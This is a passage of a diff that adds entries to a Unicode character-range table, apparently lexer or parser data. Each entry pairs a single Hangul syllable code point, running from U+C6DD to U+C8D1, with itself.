+ ["\uC6DD", "\uC6DD"], /* Hangul Syllable */
+ ["\uC6DE", "\uC6DE"], /* Hangul Syllable */
+ ["\uC6DF", "\uC6DF"], /* Hangul Syllable */
+ ["\uC6E0", "\uC6E0"], /* Hangul Syllable */
+ ["\uC6E1", "\uC6E1"], /* Hangul Syllable */
+ ["\uC6E2", "\uC6E2"], /* Hangul Syllable */
+ ["\uC6E3", "\uC6E3"], /* Hangul Syllable */
+ ["\uC6E4", "\uC6E4"], /* Hangul Syllable */
+ ["\uC6E5", "\uC6E5"], /* Hangul Syllable */
+ ["\uC6E6", "\uC6E6"], /* Hangul Syllable */
+ ["\uC6E7", "\uC6E7"], /* Hangul Syllable */
+ ["\uC6E8", "\uC6E8"], /* Hangul Syllable */
+ ["\uC6E9", "\uC6E9"], /* Hangul Syllable */
+ ["\uC6EA", "\uC6EA"], /* Hangul Syllable */
+ ["\uC6EB", "\uC6EB"], /* Hangul Syllable */
+ ["\uC6EC", "\uC6EC"], /* Hangul Syllable */
+ ["\uC6ED", "\uC6ED"], /* Hangul Syllable */
+ ["\uC6EE", "\uC6EE"], /* Hangul Syllable */
+ ["\uC6EF", "\uC6EF"], /* Hangul Syllable */
+ ["\uC6F0", "\uC6F0"], /* Hangul Syllable */
+ ["\uC6F1", "\uC6F1"], /* Hangul Syllable */
+ ["\uC6F2", "\uC6F2"], /* Hangul Syllable */
+ ["\uC6F3", "\uC6F3"], /* Hangul Syllable */
+ ["\uC6F4", "\uC6F4"], /* Hangul Syllable */
+ ["\uC6F5", "\uC6F5"], /* Hangul Syllable */
+ ["\uC6F6", "\uC6F6"], /* Hangul Syllable */
+ ["\uC6F7", "\uC6F7"], /* Hangul Syllable */
+ ["\uC6F8", "\uC6F8"], /* Hangul Syllable */
+ ["\uC6F9", "\uC6F9"], /* Hangul Syllable */
+ ["\uC6FA", "\uC6FA"], /* Hangul Syllable */
+ ["\uC6FB", "\uC6FB"], /* Hangul Syllable */
+ ["\uC6FC", "\uC6FC"], /* Hangul Syllable */
+ ["\uC6FD", "\uC6FD"], /* Hangul Syllable */
+ ["\uC6FE", "\uC6FE"], /* Hangul Syllable */
+ ["\uC6FF", "\uC6FF"], /* Hangul Syllable */
+ ["\uC700", "\uC700"], /* Hangul Syllable */
+ ["\uC701", "\uC701"], /* Hangul Syllable */
+ ["\uC702", "\uC702"], /* Hangul Syllable */
+ ["\uC703", "\uC703"], /* Hangul Syllable */
+ ["\uC704", "\uC704"], /* Hangul Syllable */
+ ["\uC705", "\uC705"], /* Hangul Syllable */
+ ["\uC706", "\uC706"], /* Hangul Syllable */
+ ["\uC707", "\uC707"], /* Hangul Syllable */
+ ["\uC708", "\uC708"], /* Hangul Syllable */
+ ["\uC709", "\uC709"], /* Hangul Syllable */
+ ["\uC70A", "\uC70A"], /* Hangul Syllable */
+ ["\uC70B", "\uC70B"], /* Hangul Syllable */
+ ["\uC70C", "\uC70C"], /* Hangul Syllable */
+ ["\uC70D", "\uC70D"], /* Hangul Syllable */
+ ["\uC70E", "\uC70E"], /* Hangul Syllable */
+ ["\uC70F", "\uC70F"], /* Hangul Syllable */
+ ["\uC710", "\uC710"], /* Hangul Syllable */
+ ["\uC711", "\uC711"], /* Hangul Syllable */
+ ["\uC712", "\uC712"], /* Hangul Syllable */
+ ["\uC713", "\uC713"], /* Hangul Syllable */
+ ["\uC714", "\uC714"], /* Hangul Syllable */
+ ["\uC715", "\uC715"], /* Hangul Syllable */
+ ["\uC716", "\uC716"], /* Hangul Syllable */
+ ["\uC717", "\uC717"], /* Hangul Syllable */
+ ["\uC718", "\uC718"], /* Hangul Syllable */
+ ["\uC719", "\uC719"], /* Hangul Syllable */
+ ["\uC71A", "\uC71A"], /* Hangul Syllable */
+ ["\uC71B", "\uC71B"], /* Hangul Syllable */
+ ["\uC71C", "\uC71C"], /* Hangul Syllable */
+ ["\uC71D", "\uC71D"], /* Hangul Syllable */
+ ["\uC71E", "\uC71E"], /* Hangul Syllable */
+ ["\uC71F", "\uC71F"], /* Hangul Syllable */
+ ["\uC720", "\uC720"], /* Hangul Syllable */
+ ["\uC721", "\uC721"], /* Hangul Syllable */
+ ["\uC722", "\uC722"], /* Hangul Syllable */
+ ["\uC723", "\uC723"], /* Hangul Syllable */
+ ["\uC724", "\uC724"], /* Hangul Syllable */
+ ["\uC725", "\uC725"], /* Hangul Syllable */
+ ["\uC726", "\uC726"], /* Hangul Syllable */
+ ["\uC727", "\uC727"], /* Hangul Syllable */
+ ["\uC728", "\uC728"], /* Hangul Syllable */
+ ["\uC729", "\uC729"], /* Hangul Syllable */
+ ["\uC72A", "\uC72A"], /* Hangul Syllable */
+ ["\uC72B", "\uC72B"], /* Hangul Syllable */
+ ["\uC72C", "\uC72C"], /* Hangul Syllable */
+ ["\uC72D", "\uC72D"], /* Hangul Syllable */
+ ["\uC72E", "\uC72E"], /* Hangul Syllable */
+ ["\uC72F", "\uC72F"], /* Hangul Syllable */
+ ["\uC730", "\uC730"], /* Hangul Syllable */
+ ["\uC731", "\uC731"], /* Hangul Syllable */
+ ["\uC732", "\uC732"], /* Hangul Syllable */
+ ["\uC733", "\uC733"], /* Hangul Syllable */
+ ["\uC734", "\uC734"], /* Hangul Syllable */
+ ["\uC735", "\uC735"], /* Hangul Syllable */
+ ["\uC736", "\uC736"], /* Hangul Syllable */
+ ["\uC737", "\uC737"], /* Hangul Syllable */
+ ["\uC738", "\uC738"], /* Hangul Syllable */
+ ["\uC739", "\uC739"], /* Hangul Syllable */
+ ["\uC73A", "\uC73A"], /* Hangul Syllable */
+ ["\uC73B", "\uC73B"], /* Hangul Syllable */
+ ["\uC73C", "\uC73C"], /* Hangul Syllable */
+ ["\uC73D", "\uC73D"], /* Hangul Syllable */
+ ["\uC73E", "\uC73E"], /* Hangul Syllable */
+ ["\uC73F", "\uC73F"], /* Hangul Syllable */
+ ["\uC740", "\uC740"], /* Hangul Syllable */
+ ["\uC741", "\uC741"], /* Hangul Syllable */
+ ["\uC742", "\uC742"], /* Hangul Syllable */
+ ["\uC743", "\uC743"], /* Hangul Syllable */
+ ["\uC744", "\uC744"], /* Hangul Syllable */
+ ["\uC745", "\uC745"], /* Hangul Syllable */
+ ["\uC746", "\uC746"], /* Hangul Syllable */
+ ["\uC747", "\uC747"], /* Hangul Syllable */
+ ["\uC748", "\uC748"], /* Hangul Syllable */
+ ["\uC749", "\uC749"], /* Hangul Syllable */
+ ["\uC74A", "\uC74A"], /* Hangul Syllable */
+ ["\uC74B", "\uC74B"], /* Hangul Syllable */
+ ["\uC74C", "\uC74C"], /* Hangul Syllable */
+ ["\uC74D", "\uC74D"], /* Hangul Syllable */
+ ["\uC74E", "\uC74E"], /* Hangul Syllable */
+ ["\uC74F", "\uC74F"], /* Hangul Syllable */
+ ["\uC750", "\uC750"], /* Hangul Syllable */
+ ["\uC751", "\uC751"], /* Hangul Syllable */
+ ["\uC752", "\uC752"], /* Hangul Syllable */
+ ["\uC753", "\uC753"], /* Hangul Syllable */
+ ["\uC754", "\uC754"], /* Hangul Syllable */
+ ["\uC755", "\uC755"], /* Hangul Syllable */
+ ["\uC756", "\uC756"], /* Hangul Syllable */
+ ["\uC757", "\uC757"], /* Hangul Syllable */
+ ["\uC758", "\uC758"], /* Hangul Syllable */
+ ["\uC759", "\uC759"], /* Hangul Syllable */
+ ["\uC75A", "\uC75A"], /* Hangul Syllable */
+ ["\uC75B", "\uC75B"], /* Hangul Syllable */
+ ["\uC75C", "\uC75C"], /* Hangul Syllable */
+ ["\uC75D", "\uC75D"], /* Hangul Syllable */
+ ["\uC75E", "\uC75E"], /* Hangul Syllable */
+ ["\uC75F", "\uC75F"], /* Hangul Syllable */
+ ["\uC760", "\uC760"], /* Hangul Syllable */
+ ["\uC761", "\uC761"], /* Hangul Syllable */
+ ["\uC762", "\uC762"], /* Hangul Syllable */
+ ["\uC763", "\uC763"], /* Hangul Syllable */
+ ["\uC764", "\uC764"], /* Hangul Syllable */
+ ["\uC765", "\uC765"], /* Hangul Syllable */
+ ["\uC766", "\uC766"], /* Hangul Syllable */
+ ["\uC767", "\uC767"], /* Hangul Syllable */
+ ["\uC768", "\uC768"], /* Hangul Syllable */
+ ["\uC769", "\uC769"], /* Hangul Syllable */
+ ["\uC76A", "\uC76A"], /* Hangul Syllable */
+ ["\uC76B", "\uC76B"], /* Hangul Syllable */
+ ["\uC76C", "\uC76C"], /* Hangul Syllable */
+ ["\uC76D", "\uC76D"], /* Hangul Syllable */
+ ["\uC76E", "\uC76E"], /* Hangul Syllable */
+ ["\uC76F", "\uC76F"], /* Hangul Syllable */
+ ["\uC770", "\uC770"], /* Hangul Syllable */
+ ["\uC771", "\uC771"], /* Hangul Syllable */
+ ["\uC772", "\uC772"], /* Hangul Syllable */
+ ["\uC773", "\uC773"], /* Hangul Syllable */
+ ["\uC774", "\uC774"], /* Hangul Syllable */
+ ["\uC775", "\uC775"], /* Hangul Syllable */
+ ["\uC776", "\uC776"], /* Hangul Syllable */
+ ["\uC777", "\uC777"], /* Hangul Syllable */
+ ["\uC778", "\uC778"], /* Hangul Syllable */
+ ["\uC779", "\uC779"], /* Hangul Syllable */
+ ["\uC77A", "\uC77A"], /* Hangul Syllable */
+ ["\uC77B", "\uC77B"], /* Hangul Syllable */
+ ["\uC77C", "\uC77C"], /* Hangul Syllable */
+ ["\uC77D", "\uC77D"], /* Hangul Syllable */
+ ["\uC77E", "\uC77E"], /* Hangul Syllable */
+ ["\uC77F", "\uC77F"], /* Hangul Syllable */
+ ["\uC780", "\uC780"], /* Hangul Syllable */
+ ["\uC781", "\uC781"], /* Hangul Syllable */
+ ["\uC782", "\uC782"], /* Hangul Syllable */
+ ["\uC783", "\uC783"], /* Hangul Syllable */
+ ["\uC784", "\uC784"], /* Hangul Syllable */
+ ["\uC785", "\uC785"], /* Hangul Syllable */
+ ["\uC786", "\uC786"], /* Hangul Syllable */
+ ["\uC787", "\uC787"], /* Hangul Syllable */
+ ["\uC788", "\uC788"], /* Hangul Syllable */
+ ["\uC789", "\uC789"], /* Hangul Syllable */
+ ["\uC78A", "\uC78A"], /* Hangul Syllable */
+ ["\uC78B", "\uC78B"], /* Hangul Syllable */
+ ["\uC78C", "\uC78C"], /* Hangul Syllable */
+ ["\uC78D", "\uC78D"], /* Hangul Syllable */
+ ["\uC78E", "\uC78E"], /* Hangul Syllable */
+ ["\uC78F", "\uC78F"], /* Hangul Syllable */
+ ["\uC790", "\uC790"], /* Hangul Syllable */
+ ["\uC791", "\uC791"], /* Hangul Syllable */
+ ["\uC792", "\uC792"], /* Hangul Syllable */
+ ["\uC793", "\uC793"], /* Hangul Syllable */
+ ["\uC794", "\uC794"], /* Hangul Syllable */
+ ["\uC795", "\uC795"], /* Hangul Syllable */
+ ["\uC796", "\uC796"], /* Hangul Syllable */
+ ["\uC797", "\uC797"], /* Hangul Syllable */
+ ["\uC798", "\uC798"], /* Hangul Syllable */
+ ["\uC799", "\uC799"], /* Hangul Syllable */
+ ["\uC79A", "\uC79A"], /* Hangul Syllable */
+ ["\uC79B", "\uC79B"], /* Hangul Syllable */
+ ["\uC79C", "\uC79C"], /* Hangul Syllable */
+ ["\uC79D", "\uC79D"], /* Hangul Syllable */
+ ["\uC79E", "\uC79E"], /* Hangul Syllable */
+ ["\uC79F", "\uC79F"], /* Hangul Syllable */
+ ["\uC7A0", "\uC7A0"], /* Hangul Syllable */
+ ["\uC7A1", "\uC7A1"], /* Hangul Syllable */
+ ["\uC7A2", "\uC7A2"], /* Hangul Syllable */
+ ["\uC7A3", "\uC7A3"], /* Hangul Syllable */
+ ["\uC7A4", "\uC7A4"], /* Hangul Syllable */
+ ["\uC7A5", "\uC7A5"], /* Hangul Syllable */
+ ["\uC7A6", "\uC7A6"], /* Hangul Syllable */
+ ["\uC7A7", "\uC7A7"], /* Hangul Syllable */
+ ["\uC7A8", "\uC7A8"], /* Hangul Syllable */
+ ["\uC7A9", "\uC7A9"], /* Hangul Syllable */
+ ["\uC7AA", "\uC7AA"], /* Hangul Syllable */
+ ["\uC7AB", "\uC7AB"], /* Hangul Syllable */
+ ["\uC7AC", "\uC7AC"], /* Hangul Syllable */
+ ["\uC7AD", "\uC7AD"], /* Hangul Syllable */
+ ["\uC7AE", "\uC7AE"], /* Hangul Syllable */
+ ["\uC7AF", "\uC7AF"], /* Hangul Syllable */
+ ["\uC7B0", "\uC7B0"], /* Hangul Syllable */
+ ["\uC7B1", "\uC7B1"], /* Hangul Syllable */
+ ["\uC7B2", "\uC7B2"], /* Hangul Syllable */
+ ["\uC7B3", "\uC7B3"], /* Hangul Syllable */
+ ["\uC7B4", "\uC7B4"], /* Hangul Syllable */
+ ["\uC7B5", "\uC7B5"], /* Hangul Syllable */
+ ["\uC7B6", "\uC7B6"], /* Hangul Syllable */
+ ["\uC7B7", "\uC7B7"], /* Hangul Syllable */
+ ["\uC7B8", "\uC7B8"], /* Hangul Syllable */
+ ["\uC7B9", "\uC7B9"], /* Hangul Syllable */
+ ["\uC7BA", "\uC7BA"], /* Hangul Syllable */
+ ["\uC7BB", "\uC7BB"], /* Hangul Syllable */
+ ["\uC7BC", "\uC7BC"], /* Hangul Syllable */
+ ["\uC7BD", "\uC7BD"], /* Hangul Syllable */
+ ["\uC7BE", "\uC7BE"], /* Hangul Syllable */
+ ["\uC7BF", "\uC7BF"], /* Hangul Syllable */
+ ["\uC7C0", "\uC7C0"], /* Hangul Syllable */
+ ["\uC7C1", "\uC7C1"], /* Hangul Syllable */
+ ["\uC7C2", "\uC7C2"], /* Hangul Syllable */
+ ["\uC7C3", "\uC7C3"], /* Hangul Syllable */
+ ["\uC7C4", "\uC7C4"], /* Hangul Syllable */
+ ["\uC7C5", "\uC7C5"], /* Hangul Syllable */
+ ["\uC7C6", "\uC7C6"], /* Hangul Syllable */
+ ["\uC7C7", "\uC7C7"], /* Hangul Syllable */
+ ["\uC7C8", "\uC7C8"], /* Hangul Syllable */
+ ["\uC7C9", "\uC7C9"], /* Hangul Syllable */
+ ["\uC7CA", "\uC7CA"], /* Hangul Syllable */
+ ["\uC7CB", "\uC7CB"], /* Hangul Syllable */
+ ["\uC7CC", "\uC7CC"], /* Hangul Syllable */
+ ["\uC7CD", "\uC7CD"], /* Hangul Syllable */
+ ["\uC7CE", "\uC7CE"], /* Hangul Syllable */
+ ["\uC7CF", "\uC7CF"], /* Hangul Syllable */
+ ["\uC7D0", "\uC7D0"], /* Hangul Syllable */
+ ["\uC7D1", "\uC7D1"], /* Hangul Syllable */
+ ["\uC7D2", "\uC7D2"], /* Hangul Syllable */
+ ["\uC7D3", "\uC7D3"], /* Hangul Syllable */
+ ["\uC7D4", "\uC7D4"], /* Hangul Syllable */
+ ["\uC7D5", "\uC7D5"], /* Hangul Syllable */
+ ["\uC7D6", "\uC7D6"], /* Hangul Syllable */
+ ["\uC7D7", "\uC7D7"], /* Hangul Syllable */
+ ["\uC7D8", "\uC7D8"], /* Hangul Syllable */
+ ["\uC7D9", "\uC7D9"], /* Hangul Syllable */
+ ["\uC7DA", "\uC7DA"], /* Hangul Syllable */
+ ["\uC7DB", "\uC7DB"], /* Hangul Syllable */
+ ["\uC7DC", "\uC7DC"], /* Hangul Syllable */
+ ["\uC7DD", "\uC7DD"], /* Hangul Syllable */
+ ["\uC7DE", "\uC7DE"], /* Hangul Syllable */
+ ["\uC7DF", "\uC7DF"], /* Hangul Syllable */
+ ["\uC7E0", "\uC7E0"], /* Hangul Syllable */
+ ["\uC7E1", "\uC7E1"], /* Hangul Syllable */
+ ["\uC7E2", "\uC7E2"], /* Hangul Syllable */
+ ["\uC7E3", "\uC7E3"], /* Hangul Syllable */
+ ["\uC7E4", "\uC7E4"], /* Hangul Syllable */
+ ["\uC7E5", "\uC7E5"], /* Hangul Syllable */
+ ["\uC7E6", "\uC7E6"], /* Hangul Syllable */
+ ["\uC7E7", "\uC7E7"], /* Hangul Syllable */
+ ["\uC7E8", "\uC7E8"], /* Hangul Syllable */
+ ["\uC7E9", "\uC7E9"], /* Hangul Syllable */
+ ["\uC7EA", "\uC7EA"], /* Hangul Syllable */
+ ["\uC7EB", "\uC7EB"], /* Hangul Syllable */
+ ["\uC7EC", "\uC7EC"], /* Hangul Syllable */
+ ["\uC7ED", "\uC7ED"], /* Hangul Syllable */
+ ["\uC7EE", "\uC7EE"], /* Hangul Syllable */
+ ["\uC7EF", "\uC7EF"], /* Hangul Syllable */
+ ["\uC7F0", "\uC7F0"], /* Hangul Syllable */
+ ["\uC7F1", "\uC7F1"], /* Hangul Syllable */
+ ["\uC7F2", "\uC7F2"], /* Hangul Syllable */
+ ["\uC7F3", "\uC7F3"], /* Hangul Syllable */
+ ["\uC7F4", "\uC7F4"], /* Hangul Syllable */
+ ["\uC7F5", "\uC7F5"], /* Hangul Syllable */
+ ["\uC7F6", "\uC7F6"], /* Hangul Syllable */
+ ["\uC7F7", "\uC7F7"], /* Hangul Syllable */
+ ["\uC7F8", "\uC7F8"], /* Hangul Syllable */
+ ["\uC7F9", "\uC7F9"], /* Hangul Syllable */
+ ["\uC7FA", "\uC7FA"], /* Hangul Syllable */
+ ["\uC7FB", "\uC7FB"], /* Hangul Syllable */
+ ["\uC7FC", "\uC7FC"], /* Hangul Syllable */
+ ["\uC7FD", "\uC7FD"], /* Hangul Syllable */
+ ["\uC7FE", "\uC7FE"], /* Hangul Syllable */
+ ["\uC7FF", "\uC7FF"], /* Hangul Syllable */
+ ["\uC800", "\uC800"], /* Hangul Syllable */
+ ["\uC801", "\uC801"], /* Hangul Syllable */
+ ["\uC802", "\uC802"], /* Hangul Syllable */
+ ["\uC803", "\uC803"], /* Hangul Syllable */
+ ["\uC804", "\uC804"], /* Hangul Syllable */
+ ["\uC805", "\uC805"], /* Hangul Syllable */
+ ["\uC806", "\uC806"], /* Hangul Syllable */
+ ["\uC807", "\uC807"], /* Hangul Syllable */
+ ["\uC808", "\uC808"], /* Hangul Syllable */
+ ["\uC809", "\uC809"], /* Hangul Syllable */
+ ["\uC80A", "\uC80A"], /* Hangul Syllable */
+ ["\uC80B", "\uC80B"], /* Hangul Syllable */
+ ["\uC80C", "\uC80C"], /* Hangul Syllable */
+ ["\uC80D", "\uC80D"], /* Hangul Syllable */
+ ["\uC80E", "\uC80E"], /* Hangul Syllable */
+ ["\uC80F", "\uC80F"], /* Hangul Syllable */
+ ["\uC810", "\uC810"], /* Hangul Syllable */
+ ["\uC811", "\uC811"], /* Hangul Syllable */
+ ["\uC812", "\uC812"], /* Hangul Syllable */
+ ["\uC813", "\uC813"], /* Hangul Syllable */
+ ["\uC814", "\uC814"], /* Hangul Syllable */
+ ["\uC815", "\uC815"], /* Hangul Syllable */
+ ["\uC816", "\uC816"], /* Hangul Syllable */
+ ["\uC817", "\uC817"], /* Hangul Syllable */
+ ["\uC818", "\uC818"], /* Hangul Syllable */
+ ["\uC819", "\uC819"], /* Hangul Syllable */
+ ["\uC81A", "\uC81A"], /* Hangul Syllable */
+ ["\uC81B", "\uC81B"], /* Hangul Syllable */
+ ["\uC81C", "\uC81C"], /* Hangul Syllable */
+ ["\uC81D", "\uC81D"], /* Hangul Syllable */
+ ["\uC81E", "\uC81E"], /* Hangul Syllable */
+ ["\uC81F", "\uC81F"], /* Hangul Syllable */
+ ["\uC820", "\uC820"], /* Hangul Syllable */
+ ["\uC821", "\uC821"], /* Hangul Syllable */
+ ["\uC822", "\uC822"], /* Hangul Syllable */
+ ["\uC823", "\uC823"], /* Hangul Syllable */
+ ["\uC824", "\uC824"], /* Hangul Syllable */
+ ["\uC825", "\uC825"], /* Hangul Syllable */
+ ["\uC826", "\uC826"], /* Hangul Syllable */
+ ["\uC827", "\uC827"], /* Hangul Syllable */
+ ["\uC828", "\uC828"], /* Hangul Syllable */
+ ["\uC829", "\uC829"], /* Hangul Syllable */
+ ["\uC82A", "\uC82A"], /* Hangul Syllable */
+ ["\uC82B", "\uC82B"], /* Hangul Syllable */
+ ["\uC82C", "\uC82C"], /* Hangul Syllable */
+ ["\uC82D", "\uC82D"], /* Hangul Syllable */
+ ["\uC82E", "\uC82E"], /* Hangul Syllable */
+ ["\uC82F", "\uC82F"], /* Hangul Syllable */
+ ["\uC830", "\uC830"], /* Hangul Syllable */
+ ["\uC831", "\uC831"], /* Hangul Syllable */
+ ["\uC832", "\uC832"], /* Hangul Syllable */
+ ["\uC833", "\uC833"], /* Hangul Syllable */
+ ["\uC834", "\uC834"], /* Hangul Syllable */
+ ["\uC835", "\uC835"], /* Hangul Syllable */
+ ["\uC836", "\uC836"], /* Hangul Syllable */
+ ["\uC837", "\uC837"], /* Hangul Syllable */
+ ["\uC838", "\uC838"], /* Hangul Syllable */
+ ["\uC839", "\uC839"], /* Hangul Syllable */
+ ["\uC83A", "\uC83A"], /* Hangul Syllable */
+ ["\uC83B", "\uC83B"], /* Hangul Syllable */
+ ["\uC83C", "\uC83C"], /* Hangul Syllable */
+ ["\uC83D", "\uC83D"], /* Hangul Syllable */
+ ["\uC83E", "\uC83E"], /* Hangul Syllable */
+ ["\uC83F", "\uC83F"], /* Hangul Syllable */
+ ["\uC840", "\uC840"], /* Hangul Syllable */
+ ["\uC841", "\uC841"], /* Hangul Syllable */
+ ["\uC842", "\uC842"], /* Hangul Syllable */
+ ["\uC843", "\uC843"], /* Hangul Syllable */
+ ["\uC844", "\uC844"], /* Hangul Syllable */
+ ["\uC845", "\uC845"], /* Hangul Syllable */
+ ["\uC846", "\uC846"], /* Hangul Syllable */
+ ["\uC847", "\uC847"], /* Hangul Syllable */
+ ["\uC848", "\uC848"], /* Hangul Syllable */
+ ["\uC849", "\uC849"], /* Hangul Syllable */
+ ["\uC84A", "\uC84A"], /* Hangul Syllable */
+ ["\uC84B", "\uC84B"], /* Hangul Syllable */
+ ["\uC84C", "\uC84C"], /* Hangul Syllable */
+ ["\uC84D", "\uC84D"], /* Hangul Syllable */
+ ["\uC84E", "\uC84E"], /* Hangul Syllable */
+ ["\uC84F", "\uC84F"], /* Hangul Syllable */
+ ["\uC850", "\uC850"], /* Hangul Syllable */
+ ["\uC851", "\uC851"], /* Hangul Syllable */
+ ["\uC852", "\uC852"], /* Hangul Syllable */
+ ["\uC853", "\uC853"], /* Hangul Syllable */
+ ["\uC854", "\uC854"], /* Hangul Syllable */
+ ["\uC855", "\uC855"], /* Hangul Syllable */
+ ["\uC856", "\uC856"], /* Hangul Syllable */
+ ["\uC857", "\uC857"], /* Hangul Syllable */
+ ["\uC858", "\uC858"], /* Hangul Syllable */
+ ["\uC859", "\uC859"], /* Hangul Syllable */
+ ["\uC85A", "\uC85A"], /* Hangul Syllable */
+ ["\uC85B", "\uC85B"], /* Hangul Syllable */
+ ["\uC85C", "\uC85C"], /* Hangul Syllable */
+ ["\uC85D", "\uC85D"], /* Hangul Syllable */
+ ["\uC85E", "\uC85E"], /* Hangul Syllable */
+ ["\uC85F", "\uC85F"], /* Hangul Syllable */
+ ["\uC860", "\uC860"], /* Hangul Syllable */
+ ["\uC861", "\uC861"], /* Hangul Syllable */
+ ["\uC862", "\uC862"], /* Hangul Syllable */
+ ["\uC863", "\uC863"], /* Hangul Syllable */
+ ["\uC864", "\uC864"], /* Hangul Syllable */
+ ["\uC865", "\uC865"], /* Hangul Syllable */
+ ["\uC866", "\uC866"], /* Hangul Syllable */
+ ["\uC867", "\uC867"], /* Hangul Syllable */
+ ["\uC868", "\uC868"], /* Hangul Syllable */
+ ["\uC869", "\uC869"], /* Hangul Syllable */
+ ["\uC86A", "\uC86A"], /* Hangul Syllable */
+ ["\uC86B", "\uC86B"], /* Hangul Syllable */
+ ["\uC86C", "\uC86C"], /* Hangul Syllable */
+ ["\uC86D", "\uC86D"], /* Hangul Syllable */
+ ["\uC86E", "\uC86E"], /* Hangul Syllable */
+ ["\uC86F", "\uC86F"], /* Hangul Syllable */
+ ["\uC870", "\uC870"], /* Hangul Syllable */
+ ["\uC871", "\uC871"], /* Hangul Syllable */
+ ["\uC872", "\uC872"], /* Hangul Syllable */
+ ["\uC873", "\uC873"], /* Hangul Syllable */
+ ["\uC874", "\uC874"], /* Hangul Syllable */
+ ["\uC875", "\uC875"], /* Hangul Syllable */
+ ["\uC876", "\uC876"], /* Hangul Syllable */
+ ["\uC877", "\uC877"], /* Hangul Syllable */
+ ["\uC878", "\uC878"], /* Hangul Syllable */
+ ["\uC879", "\uC879"], /* Hangul Syllable */
+ ["\uC87A", "\uC87A"], /* Hangul Syllable */
+ ["\uC87B", "\uC87B"], /* Hangul Syllable */
+ ["\uC87C", "\uC87C"], /* Hangul Syllable */
+ ["\uC87D", "\uC87D"], /* Hangul Syllable */
+ ["\uC87E", "\uC87E"], /* Hangul Syllable */
+ ["\uC87F", "\uC87F"], /* Hangul Syllable */
+ ["\uC880", "\uC880"], /* Hangul Syllable */
+ ["\uC881", "\uC881"], /* Hangul Syllable */
+ ["\uC882", "\uC882"], /* Hangul Syllable */
+ ["\uC883", "\uC883"], /* Hangul Syllable */
+ ["\uC884", "\uC884"], /* Hangul Syllable */
+ ["\uC885", "\uC885"], /* Hangul Syllable */
+ ["\uC886", "\uC886"], /* Hangul Syllable */
+ ["\uC887", "\uC887"], /* Hangul Syllable */
+ ["\uC888", "\uC888"], /* Hangul Syllable */
+ ["\uC889", "\uC889"], /* Hangul Syllable */
+ ["\uC88A", "\uC88A"], /* Hangul Syllable */
+ ["\uC88B", "\uC88B"], /* Hangul Syllable */
+ ["\uC88C", "\uC88C"], /* Hangul Syllable */
+ ["\uC88D", "\uC88D"], /* Hangul Syllable */
+ ["\uC88E", "\uC88E"], /* Hangul Syllable */
+ ["\uC88F", "\uC88F"], /* Hangul Syllable */
+ ["\uC890", "\uC890"], /* Hangul Syllable */
+ ["\uC891", "\uC891"], /* Hangul Syllable */
+ ["\uC892", "\uC892"], /* Hangul Syllable */
+ ["\uC893", "\uC893"], /* Hangul Syllable */
+ ["\uC894", "\uC894"], /* Hangul Syllable */
+ ["\uC895", "\uC895"], /* Hangul Syllable */
+ ["\uC896", "\uC896"], /* Hangul Syllable */
+ ["\uC897", "\uC897"], /* Hangul Syllable */
+ ["\uC898", "\uC898"], /* Hangul Syllable */
+ ["\uC899", "\uC899"], /* Hangul Syllable */
+ ["\uC89A", "\uC89A"], /* Hangul Syllable */
+ ["\uC89B", "\uC89B"], /* Hangul Syllable */
+ ["\uC89C", "\uC89C"], /* Hangul Syllable */
+ ["\uC89D", "\uC89D"], /* Hangul Syllable */
+ ["\uC89E", "\uC89E"], /* Hangul Syllable */
+ ["\uC89F", "\uC89F"], /* Hangul Syllable */
+ ["\uC8A0", "\uC8A0"], /* Hangul Syllable */
+ ["\uC8A1", "\uC8A1"], /* Hangul Syllable */
+ ["\uC8A2", "\uC8A2"], /* Hangul Syllable */
+ ["\uC8A3", "\uC8A3"], /* Hangul Syllable */
+ ["\uC8A4", "\uC8A4"], /* Hangul Syllable */
+ ["\uC8A5", "\uC8A5"], /* Hangul Syllable */
+ ["\uC8A6", "\uC8A6"], /* Hangul Syllable */
+ ["\uC8A7", "\uC8A7"], /* Hangul Syllable */
+ ["\uC8A8", "\uC8A8"], /* Hangul Syllable */
+ ["\uC8A9", "\uC8A9"], /* Hangul Syllable */
+ ["\uC8AA", "\uC8AA"], /* Hangul Syllable */
+ ["\uC8AB", "\uC8AB"], /* Hangul Syllable */
+ ["\uC8AC", "\uC8AC"], /* Hangul Syllable */
+ ["\uC8AD", "\uC8AD"], /* Hangul Syllable */
+ ["\uC8AE", "\uC8AE"], /* Hangul Syllable */
+ ["\uC8AF", "\uC8AF"], /* Hangul Syllable */
+ ["\uC8B0", "\uC8B0"], /* Hangul Syllable */
+ ["\uC8B1", "\uC8B1"], /* Hangul Syllable */
+ ["\uC8B2", "\uC8B2"], /* Hangul Syllable */
+ ["\uC8B3", "\uC8B3"], /* Hangul Syllable */
+ ["\uC8B4", "\uC8B4"], /* Hangul Syllable */
+ ["\uC8B5", "\uC8B5"], /* Hangul Syllable */
+ ["\uC8B6", "\uC8B6"], /* Hangul Syllable */
+ ["\uC8B7", "\uC8B7"], /* Hangul Syllable */
+ ["\uC8B8", "\uC8B8"], /* Hangul Syllable */
+ ["\uC8B9", "\uC8B9"], /* Hangul Syllable */
+ ["\uC8BA", "\uC8BA"], /* Hangul Syllable */
+ ["\uC8BB", "\uC8BB"], /* Hangul Syllable */
+ ["\uC8BC", "\uC8BC"], /* Hangul Syllable */
+ ["\uC8BD", "\uC8BD"], /* Hangul Syllable */
+ ["\uC8BE", "\uC8BE"], /* Hangul Syllable */
+ ["\uC8BF", "\uC8BF"], /* Hangul Syllable */
+ ["\uC8C0", "\uC8C0"], /* Hangul Syllable */
+ ["\uC8C1", "\uC8C1"], /* Hangul Syllable */
+ ["\uC8C2", "\uC8C2"], /* Hangul Syllable */
+ ["\uC8C3", "\uC8C3"], /* Hangul Syllable */
+ ["\uC8C4", "\uC8C4"], /* Hangul Syllable */
+ ["\uC8C5", "\uC8C5"], /* Hangul Syllable */
+ ["\uC8C6", "\uC8C6"], /* Hangul Syllable */
+ ["\uC8C7", "\uC8C7"], /* Hangul Syllable */
+ ["\uC8C8", "\uC8C8"], /* Hangul Syllable */
+ ["\uC8C9", "\uC8C9"], /* Hangul Syllable */
+ ["\uC8CA", "\uC8CA"], /* Hangul Syllable */
+ ["\uC8CB", "\uC8CB"], /* Hangul Syllable */
+ ["\uC8CC", "\uC8CC"], /* Hangul Syllable */
+ ["\uC8CD", "\uC8CD"], /* Hangul Syllable */
+ ["\uC8CE", "\uC8CE"], /* Hangul Syllable */
+ ["\uC8CF", "\uC8CF"], /* Hangul Syllable */
+ ["\uC8D0", "\uC8D0"], /* Hangul Syllable */
+ ["\uC8D1", "\uC8D1"], /* Hangul Syllable */
